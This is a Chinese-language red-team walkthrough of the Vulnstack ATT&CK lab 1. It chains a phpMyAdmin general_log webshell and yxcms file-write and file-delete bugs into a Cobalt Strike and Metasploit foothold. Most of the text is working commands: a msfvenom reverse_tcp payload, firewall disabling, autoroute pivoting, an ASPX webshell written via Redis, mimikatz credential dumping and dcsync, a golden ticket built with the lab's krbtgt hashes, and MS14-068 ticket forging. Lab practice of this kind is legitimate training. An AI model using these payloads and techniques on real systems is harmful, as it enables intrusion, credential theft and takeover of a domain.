ATT&CK实战系列——红队实战(一)

文章目录

    • 环境搭建
    • 渗透测试部分
    • phpmyadmin 日志 getshell
    • yxcms
      • 前端 XSS
      • 任意文件写入 getshell
      • 任意文件删除
    • 后渗透阶段
      • 域控信息收集
      • 域外信息收集与渗透
        • 3389
        • msf生成木马
      • 域渗透
        • SMB Beacon C2命令执行
        • CS/MSF联动
        • redis getshell
        • 黄金票据
        • MS14-068

环境搭建

下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

官方描述

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

网络拓扑:

ATT&CK实战系列——红队实战(一)_第1张图片

本地环境:

在这里插入图片描述

配置好网络环境,启动win7 下的 phpstudy

ATT&CK实战系列——红队实战(一)_第2张图片

渗透测试部分

web直接就是php探针

ATT&CK实战系列——红队实战(一)_第3张图片

NMAP

ATT&CK实战系列——红队实战(一)_第4张图片

目录

ATT&CK实战系列——红队实战(一)_第5张图片

网站备份文件

ATT&CK实战系列——红队实战(一)_第6张图片

phpinfo
http://192.168.60.170/phpinfo.php
ATT&CK实战系列——红队实战(一)_第7张图片

phpmyadmin 日志 getshell

http://192.168.60.170/phpmyadmin/
http://192.168.60.170/phpmyadmin/examples/
http://192.168.60.170/phpmyadmin/setup/
http://192.168.60.170/phpmyadmin/changelog

ATT&CK实战系列——红队实战(一)_第8张图片

暂时没有其它发现
爆破phpmyadmin
爆破到几个空密码,但是空密码无法登录

ATT&CK实战系列——红队实战(一)_第9张图片
ATT&CK实战系列——红队实战(一)_第10张图片

ATT&CK实战系列——红队实战(一)_第11张图片

没有读取文件的权限

ATT&CK实战系列——红队实战(一)_第12张图片

在phpmyadmin中发现一个 yxcms的数据库

ATT&CK实战系列——红队实战(一)_第13张图片

尝试写入一句话,

select '' into outfile 'C:/phpStudy/WWW/shell.php'

ATT&CK实战系列——红队实战(一)_第14张图片

尝试修改 secure_file_priv 但是失败了

show variables like "secure_file_priv";
set global secure_file_priv='';

ATT&CK实战系列——红队实战(一)_第15张图片

利用mysql general_log_file 上传一句话

show variables like 'general%'

ATT&CK实战系列——红队实战(一)_第16张图片
开启 general_log日志

set global general_log = 'ON'

把 general_log日志路径放网站根目录

set global general_log_file='C:/phpStudy/WWW/shell.php'

ATT&CK实战系列——红队实战(一)_第17张图片

ATT&CK实战系列——红队实战(一)_第18张图片

因为general_log 日志会记录我们执行的sql语句,所以我们执行php一句话也会被记录,因为后缀被改为php,所以php碰到php头 就会认为这是个php文件

ATT&CK实战系列——红队实战(一)_第19张图片

再次访问,报php错误,确定已经被php解析,但是在940行有一个致命错误
ATT&CK实战系列——红队实战(一)_第20张图片

清空general_log 日志再次尝试

set global general_log = 'OFF';
rename table mysql.general_log TO mysql.general_log2;
delete from mysql.general_log2;
show variables like 'general%'
rename table mysql.general_log2 TO mysql.general_log;
set global general_log = 'ON';
set global general_log_file='C:/phpStudy/WWW/shell2.php'
show variables like 'general%'
select '';

ATT&CK实战系列——红队实战(一)_第21张图片

yxcms

网站泄露后台地址和用户密码,且用户密码为弱口令
百度查询到相关目录结构找到后端登录页面
http://192.168.60.170/yxcms/index.php?r=admin/index/login
ATT&CK实战系列——红队实战(一)_第22张图片

网上搜索了yxcms相关漏洞,在此复现

前端 XSS

ATT&CK实战系列——红队实战(一)_第23张图片
后端验证,通过验证后前端也会显示

ATT&CK实战系列——红队实战(一)_第24张图片

ATT&CK实战系列——红队实战(一)_第25张图片

任意文件写入 getshell

新建模板

ATT&CK实战系列——红队实战(一)_第26张图片

通过前面泄露的备份文件得到上传点

ATT&CK实战系列——红队实战(一)_第27张图片

http://192.168.60.170/yxcms/protected/apps/default/view/default/shell.php.php

ATT&CK实战系列——红队实战(一)_第28张图片

任意文件删除

需要先登录后台,然后访问之后会显示缩略图不存在

Payload:http://sb.com/index.php?r=admin/photo/delpic
POST:picname=…/…/protected/apps/install/install.lock
ATT&CK实战系列——红队实战(一)_第29张图片

ATT&CK实战系列——红队实战(一)_第30张图片

ATT&CK实战系列——红队实战(一)_第31张图片

后渗透阶段

上线CS

start artifact.exe

ATT&CK实战系列——红队实战(一)_第32张图片
这个密码就是默认密码

ATT&CK实战系列——红队实战(一)_第33张图片
提权至system用户

ATT&CK实战系列——红队实战(一)_第34张图片

域控信息收集

查看内网网段

域控一般为 DNS 主机
ATT&CK实战系列——红队实战(一)_第35张图片

whoami,hostname

ATT&CK实战系列——红队实战(一)_第36张图片

查询系统架构,安装软件

echo %PROCESSOR_ARCHITECTURE%
wmic product get name,version

ATT&CK实战系列——红队实战(一)_第37张图片

查询域列表与所有用户

net view /domain
net user /domain

ATT&CK实战系列——红队实战(一)_第38张图片

从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器
然后利用 net group "domain controllers" /domain 验证域控主机

net time /domain
net group "domain controllers" /domain

主域为 owa.god.org
ATT&CK实战系列——红队实战(一)_第39张图片
域密码策略

net accounts /domain

ATT&CK实战系列——红队实战(一)_第40张图片

确认域控 IP

ATT&CK实战系列——红队实战(一)_第41张图片

域外信息收集与渗透

路由信息

ATT&CK实战系列——红队实战(一)_第42张图片

arp 表

ATT&CK实战系列——红队实战(一)_第43张图片

3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

ATT&CK实战系列——红队实战(一)_第44张图片

关闭防火墙在连接

netsh firewall set opmode disable

添加用户

ATT&CK实战系列——红队实战(一)_第45张图片

msf生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.129 LPORT=7777 -f exe > shell.exe

本地监听
ATT&CK实战系列——红队实战(一)_第46张图片

上传

ATT&CK实战系列——红队实战(一)_第47张图片

ATT&CK实战系列——红队实战(一)_第48张图片

域渗透

SMB Beacon C2命令执行

创建一个监听器

ATT&CK实战系列——红队实战(一)_第49张图片

使用 psexec 登录

ATT&CK实战系列——红队实战(一)_第50张图片

获得域控 OWA beacon

ATT&CK实战系列——红队实战(一)_第51张图片

CS/MSF联动

msf监听

ATT&CK实战系列——红队实战(一)_第52张图片

CS新建一个监听器

ATT&CK实战系列——红队实战(一)_第53张图片

增加会话派生
msf上线

ATT&CK实战系列——红队实战(一)_第54张图片

识别一下前面arp的141主机
ATT&CK实战系列——红队实战(一)_第55张图片

shell 乱码

chcp 65001

添加路由

run autoroute -s 192.168.52.0/24
run autoroute -p
run get_local_subnets

ATT&CK实战系列——红队实战(一)_第56张图片

顺便跑arp
ATT&CK实战系列——红队实战(一)_第57张图片

扫描141端口
因为环境描述中有Oracle与redis,所以加上端口

ATT&CK实战系列——红队实战(一)_第58张图片
141
描述中有08067,但是打不了,17010能打,但是会把服务器打蓝屏

ATT&CK实战系列——红队实战(一)_第59张图片

138

ATT&CK实战系列——红队实战(一)_第60张图片

138域控主机本来也打不了,最后关闭防火墙后成功

关闭防火墙

netsh advfirewall set allprofiles state off

ATT&CK实战系列——红队实战(一)_第61张图片

ATT&CK实战系列——红队实战(一)_第62张图片

redis getshell

redis 其实是有问题的
官方描述中有提到 redis ,但是默认是访问不了的,实在没找到其它思路,只得修改redis零时配置文件

127.0.0.1:6379> config set protected-mode no

ATT&CK实战系列——红队实战(一)_第63张图片

msf相关redis模块

auxiliary/scanner/redis/file_upload 
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

ATT&CK实战系列——红队实战(一)_第64张图片
138域控靶机上开放了80,通过前面的路由,已经可以直接访问了

ATT&CK实战系列——红队实战(一)_第65张图片

通过 redis 往物理路径写 webshell
此时redis只需要目录写权限
但是在不知道物理路径的情况下,比较困难

192.168.52.138:6379> config set dir C:\inetpub\wwwroot\
OK
192.168.52.138:6379> config set dbfilename shell.aspx
OK
192.168.52.138:6379> set x "<% @Page Language='Jscript'%><%eval(Request.Item['pwd'],'unsafe');%>"
OK
192.168.52.138:6379> save
OK
192.168.52.138:6379>

ATT&CK实战系列——红队实战(一)_第66张图片

黄金票据

制作黄金票据的前提条件

  1. 域名称
  2. 域的 SID
  3. 域的 krbtgt账户的密码 hash 值 (NTLM or aes256_hmac)
  4. 伪造的用户名,可以是任意用户甚至是不存在

krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

域名已经在前面收集到:god.org

SID: whoami /user

ATT&CK实战系列——红队实战(一)_第67张图片

域ID 和 krbtgt 账户hash

mimikatz # privilege::debug #(提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords #(抓取明文密码和 hash)
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt #导出 krbtgt 密码 hash
mimikatz # lsadump::dcsync /domain:god.org /all /csv #导出所有域内用户密码 hash 值:

域的 SID:S-1-5-21-2952760202-1353902439-2381784089-500
aes256_hmac:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df
NTLM:58e91a5ac358d86513ab224312314061

ATT&CK实战系列——红队实战(一)_第68张图片

"kerberos::golden /domain:<域名> /sid:<域SID> /aes256: /user:<任意用户名> /ptt"
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df /user:abc /ptt

ATT&CK实战系列——红队实战(一)_第69张图片

伪造票据

ATT&CK实战系列——红队实战(一)_第70张图片

CS也能伪造票据

ATT&CK实战系列——红队实战(一)_第71张图片

伪造的票据信息

ATT&CK实战系列——红队实战(一)_第72张图片

MS14-068

MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞,微软给出的补丁
是 kb3011780。在 server 2000 以上的域控中,只要没打这个补丁,都有可能被利用。

访问域共享被拒绝

ATT&CK实战系列——红队实战(一)_第73张图片

使用 MS14-068 生成票据

MS14-068.exe -u   域用户@域控名  -p 域用户密码 -s 域用户sid -d 域ip
MS14-068.exe -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -p hongrisec@2021 -d 192.168.52.138

ATT&CK实战系列——红队实战(一)_第74张图片

导入前删除当前缓存kerberos票据

mimikatz # kerberos::purge
or
klist purge

使用mimikatz导入kerberos票据

mimikatz # kerberos::ptc TGT_Administrator@god.org.ccache
C:\phpStudy\WWW>dir \\owa.god.org\C$

ATT&CK实战系列——红队实战(一)_第75张图片

你可能感兴趣的:(信息安全,安全)